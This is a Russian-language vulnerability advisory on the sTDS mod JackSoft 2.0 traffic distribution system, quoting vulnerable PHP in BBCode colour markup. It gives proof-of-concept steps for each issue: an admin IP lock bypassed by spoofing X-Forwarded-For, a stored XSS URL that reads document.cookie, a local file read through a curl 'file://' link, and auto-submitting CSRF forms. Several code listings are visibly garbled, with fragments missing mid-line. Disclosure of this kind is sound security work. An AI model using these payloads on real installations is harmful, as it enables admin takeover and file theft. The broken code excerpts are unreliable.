Продукт: sTDS mod JackSoft
Версия: 2.0
Описание продукта: система распределения трафика, используется для распределения трафика по различным параметрам.
В первую очередь хотел бы высказать несколько общих замечаний касающихся безопасности данной TDS.
1) Недостаточная фильтрация переменных.
Многие из критичных для данного приложения переменных фильтруются недостаточно. Так например фильтр с помощью eregi обходится с помощью нулл-байта. А сама идея фильтра с помощью стоп слов ненадежна и элементарно обходится.
Данная уязвимость сама по себе ценности не представляет. Но может привести к возможности эксплуатировать, другие, более критические уязвимости.
Уязвимый код:
Файл got.php (Строки: 10-12)
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]$ua[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]]);
...
if([/COLOR][COLOR="#0000BB"]eregi[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ua[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]$ua[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]eregi_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'xxx'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ua[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Недостаточная фильтрация переменной
$ua
Файл got.php (Строки: 20,85)
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]$ref[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_REFERER'[/COLOR][COLOR="#007700"]]);
...
if([/COLOR][COLOR="#0000BB"]eregi[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ref[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]$ref[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]eregi_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'xxx'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ref[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Недостаточная фильтрация переменной
$ref
Файл got.php (Строки: 83,86)
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]$refref[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urldecode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]stristr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'REQUEST_URI'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#DD0000"]'sref='[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]));
...
if([/COLOR][COLOR="#0000BB"]eregi[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$refref[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]$refref[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]eregi_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stop_words[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'xxx'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$refref[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Недостаточная фильтрация переменной $refref
2)
Отсутствие флага HttpOnly у cookies хранящих критическую информацию. Позволяет злоумышленнику при проведении атаки класса XSS украсть данные куки.
Уязвимый код:
Файл login.php (Строки: 21)
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]setcookie[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'pwd'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$alogin[/COLOR][COLOR="#007700"])),[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]()+[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]60[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]8[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Флаг
HttpOnly не устанавливается!
3) Обход привязки авторизации к IP адресу.
Админ панель данного приложения может быть жестко привязана к IP адресу администратора. То есть автором, задумывалось блокировать любые попытки авторизаций с других IP адресов. Но, зная IP адрес администратора, злоумышленник сможет его подделать и успешно авторизироваться в админ панели.
Данная уязвимость может помочь в авторизации в админ панели, в том случае если уже известны логин/пароль и IP адрес администратора.
Уязвимый код:
Файл functions.php (Строки: 45-72)
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]getip[/COLOR][COLOR="#007700"](){
If (!empty([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]]) && ![/COLOR][COLOR="#0000BB"]stristr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"known"[/COLOR][COLOR="#007700"]) && ![/COLOR][COLOR="#0000BB"]isLocalIP[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]]))
{
[/COLOR][COLOR="#0000BB"]$ipList[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]","[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_X_FORWARDED_FOR'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$ipList[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];
}
...
if ([/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]) &&[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"])403 Forbidden"[/COLOR][COLOR="#007700"]);
}
}[/COLOR][/COLOR]
Как видно из данного кода, скрипт админ-панели использует функцию GetIP на результат которой мы можем влиять, что дает нам возможность "изменить" наш IP адрес на нужный.
Пример:
http://test/path_to_stds/index.php
Код:
Code:
X-Forwaded-For: [admin_ip]
Где [admin_ip] - мы заменяем на IP адрес администратора
SQL injection
В уязвимости класса
SQL injection в данном приложении нет никакого смысла, так как в БД не хранится никаких критичных данных. Но конкретно данная уязвимость позволяет провести атаку класса
XSS active, что позволит злоумышленнику украсть данные для входа в админ панель.
Зависимости:
Код:
Code:
register_global=ON
Отсутствие фильтрации и отсутствие инициализации системной переменной приводит к возможности провести
SQL injection.
Уязвимый код:
Файл got.php (Строки: 31-43)
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]$ipa[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]dirname[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]__FILE__[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"/worldip/worldip.en.txt"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$sss[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]sizeof[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$ipa[/COLOR][COLOR="#007700"]);
for([/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$ipLstart[/COLOR][COLOR="#007700"]&&[/COLOR][COLOR="#0000BB"]$ipLo[/COLOR][COLOR="#007700"]"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$se_query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'query_string'[/COLOR][COLOR="#007700"]];
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$se_query[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
Вывод
$se_query в браузер при просмотре статистики. Как видно из листингов нигде нет нормальной фильтрации данного значения.
Пример:
Код:
Code:
http://test/path_to_stds/got.php?sid=1&sref=http://www.google.ru/?q=%3Cbody%20onload=%22alert(document.cookie);%22%3E111%3C/body%3E
XSS код будет отображен тут:
http://test/path_to_stds/stats.php
File read
Зависимости:
Необходимы права администратора
Для чтения любого локального файла необходимо создать аут с url вида:
Код:
Code:
f{{key}}ile://localhost/[filepath]
А
Redir Type указать равным
Curl. Так как
Curl умеет читать локальные файлы, то при обращении к схеме с созданным аутом:
Код:
Code:
http://test/path_to_stds/got.php?sid=[schema_num]
Строка
"{{key}}" заменится на "". И мы увидим содержимое локального файла
Код:
Code:
file://localhost/[filepath]
Пример:
1) Создаем аут с
Redir Type равным
Curl
Код:
Code:
f{{key}}ile://localhost/С:/boot.ini
2) Открываем
Код:
Code:
http://test/path_to_stds/got.php?sid=1
CSRF
Вся админ-панель подверженна уязвимостям CSRF. Это дает шанс злоумышлиннику вынудить администратора выполнить любое действие в админ панели от имени администратора, но при этом в тайне от него.
К примеру можно вынудить админа создать такую схему с аутом, которая позволит в дальнейшем злоумышленнику читать локальные файлы с помощью предыдущей уязвимости.
Пример:
Если у злоумышленника получится заманить админа на страницу со специальным содержимым.
Пример:
Код:
Code:
function SubmitSchemeForm(){
document.CreateScheme.submit();
}
SubmitSchemeForm();
function SubmitOutForm(){
document.CreateOut.submit();
}
setTimeout(SubmitOutForm, 5000);
То после этого злоумышленник получит возможность читать любой файл:
Код:
Code:
http://test/path_to_stds/got.php?sid=2&tds-key=ile&tds-path=C:/boot.ini
Для данного примера эксплуатирования уязвимости необходимо правильно подобрать значение
sid